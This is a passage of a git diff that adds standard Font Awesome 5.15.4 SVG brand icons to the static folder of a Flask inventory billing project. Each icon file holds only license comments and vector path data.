38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z"></path> + </symbol> + <symbol id="yin-yang" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"></path> + </symbol> +</svg> diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/500px.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/500px.svg new file mode 100644 index 00000000..3ebcea28 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/500px.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/accessible-icon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/accessible-icon.svg new file mode 100644 index 00000000..25f5e284 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/accessible-icon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/accusoft.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/accusoft.svg new file mode 100644 index 00000000..f73c7f66 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/accusoft.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/acquisitions-incorporated.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/acquisitions-incorporated.svg new file mode 100644 index 00000000..1fd3a63e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/acquisitions-incorporated.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/adn.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/adn.svg new file mode 100644 index 00000000..57a9c975 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/adn.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/adversal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/adversal.svg new file mode 100644 index 00000000..6ffdef36 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/adversal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/affiliatetheme.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/affiliatetheme.svg new file mode 100644 index 00000000..923a4eb7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/affiliatetheme.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/airbnb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/airbnb.svg new file mode 100644 index 00000000..dcf3e11e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/airbnb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/algolia.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/algolia.svg new file mode 100644 index 00000000..176b240e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/algolia.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/alipay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/alipay.svg new file mode 100644 index 00000000..db77e9bc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/alipay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amazon-pay.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amazon-pay.svg new file mode 100644 index 00000000..ecd341de --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amazon-pay.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 107a3.48 3.48 0 0 1 1.7-3.3c13.7-9.5 28.8-14.5 45.6-13.2 14.9 1.1 27.1 8.4 33.5 25.9 3.9 10.7 4.9 21.8 4.9 33 0 10.4-.8 20.6-4 30.6-6.8 21.3-22.4 29.4-42.6 28.5-14-.6-26.2-6-37.4-13.9a3.57 3.57 0 0 1-1.7-3.3c.1-14.1 0-28.1 0-42.2s.1-28 0-42.1zm205.7-41.9c-1 .1-2 .3-2.9.4a148 148 0 0 0-28.9 4.1c-6.1 1.6-12 3.8-17.9 5.8-3.6 1.2-5.4 3.8-5.3 7.7.1 3.3-.1 6.6 0 9.9.1 4.8 2.1 6.1 6.8 4.9 7.8-2 15.6-4.2 23.5-5.7 12.3-2.3 24.7-3.3 37.2-1.4 6.5 1 12.6 2.9 16.8 8.4 3.7 4.8 5.1 10.5 5.3 16.4.3 8.3.2 16.6.3 24.9a7.84 7.84 0 0 1-.2 1.4c-.5-.1-.9 0-1.3-.1a180.56 180.56 0 0 0-32-4.9c-11.3-.6-22.5.1-33.3 3.9-12.9 4.5-23.3 12.3-29.4 24.9-4.7 9.8-5.4 20.2-3.9 30.7 2 14 9 24.8 21.4 31.7 11.9 6.6 24.8 7.4 37.9 5.4 15.1-2.3 28.5-8.7 40.3-18.4a7.36 7.36 0 0 1 1.6-1.1c.6 3.8 1.1 7.4 1.8 11 .6 3.1 2.5 5.1 5.4 5.2 5.4.1 10.9.1 16.3 0a4.84 4.84 0 0 0 4.8-4.7 26.2 26.2 0 0 0 .1-2.8v-106a80 80 0 0 0-.9-12.9c-1.9-12.9-7.4-23.5-19-30.4-6.7-4-14.1-6-21.8-7.1-3.6-.5-7.2-.8-10.8-1.3-3.9.1-7.9.1-11.9.1zm35 127.7a3.33 3.33 0 0 1-1.5 3c-11.2 8.1-23.5 13.5-37.4 14.9-5.7.6-11.4.4-16.8-1.8a20.08 20.08 0 0 1-12.4-13.3 32.9 32.9 0 0 1-.1-19.4c2.5-8.3 8.4-13 16.4-15.6a61.33 61.33 0 0 1 24.8-2.2c8.4.7 16.6 2.3 25 3.4 1.6.2 2.1 1 2.1 2.6-.1 4.8 0 9.5 0 14.3s-.2 9.4-.1 14.1zm259.9 129.4c-1-5-4.8-6.9-9.1-8.3a88.42 88.42 0 0 0-21-3.9 147.32 147.32 0 0 0-39.2 1.9c-14.3 2.7-27.9 7.3-40 15.6a13.75 13.75 0 0 0-3.7 3.5 5.11 5.11 0 0 0-.5 4c.4 1.5 2.1 1.9 3.6 1.8a16.2 16.2 0 0 0 2.2-.1c7.8-.8 15.5-1.7 23.3-2.5 11.4-1.1 22.9-1.8 34.3-.9a71.64 71.64 0 0 1 14.4 2.7c5.1 1.4 7.4 5.2 7.6 10.4.4 8-1.4 15.7-3.5 23.3-4.1 15.4-10 30.3-15.8 45.1a17.6 17.6 0 0 0-1 3c-.5 2.9 1.2 4.8 4.1 4.1a10.56 10.56 0 0 0 4.8-2.5 145.91 145.91 0 0 0 12.7-13.4c12.8-16.4 20.3-35.3 24.7-55.6.8-3.6 1.4-7.3 2.1-10.9v-17.3zM493.1 199q-19.35-53.55-38.7-107.2c-2-5.7-4.2-11.3-6.3-16.9-1.1-2.9-3.2-4.8-6.4-4.8-7.6-.1-15.2-.2-22.9-.1-2.5 0-3.7 2-3.2 4.5a43.1 43.1 0 0 0 1.9 6.1q29.4 72.75 59.1 145.5c1.7 4.1 2.1 7.6.2 11.8-3.3 7.3-5.9 15-9.3 22.3-3 6.5-8 11.4-15.2 13.3a42.13 42.13 0 0 1-15.4 1.1c-2.5-.2-5-.8-7.5-1-3.4-.2-5.1 1.3-5.2 4.8q-.15 5 0 9.9c.1 5.5 2 8 7.4 8.9a108.18 108.18 0 0 0 16.9 2c17.1.4 30.7-6.5 39.5-21.4a131.63 131.63 0 0 0 9.2-18.4q35.55-89.7 70.6-179.6a26.62 26.62 0 0 0 1.6-5.5c.4-2.8-.9-4.4-3.7-4.4-6.6-.1-13.3 0-19.9 0a7.54 7.54 0 0 0-7.7 5.2c-.5 1.4-1.1 2.7-1.6 4.1l-34.8 100c-2.5 7.2-5.1 14.5-7.7 22.2-.4-1.1-.6-1.7-.9-2.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amazon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amazon.svg new file mode 100644 index 00000000..2f84e4c3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amazon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amilia.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amilia.svg new file mode 100644 index 00000000..cfdef821 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/amilia.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240.1 32c-61.9 0-131.5 16.9-184.2 55.4-5.1 3.1-9.1 9.2-7.2 19.4 1.1 5.1 5.1 27.4 10.2 39.6 4.1 10.2 14.2 10.2 20.3 6.1 32.5-22.3 96.5-47.7 152.3-47.7 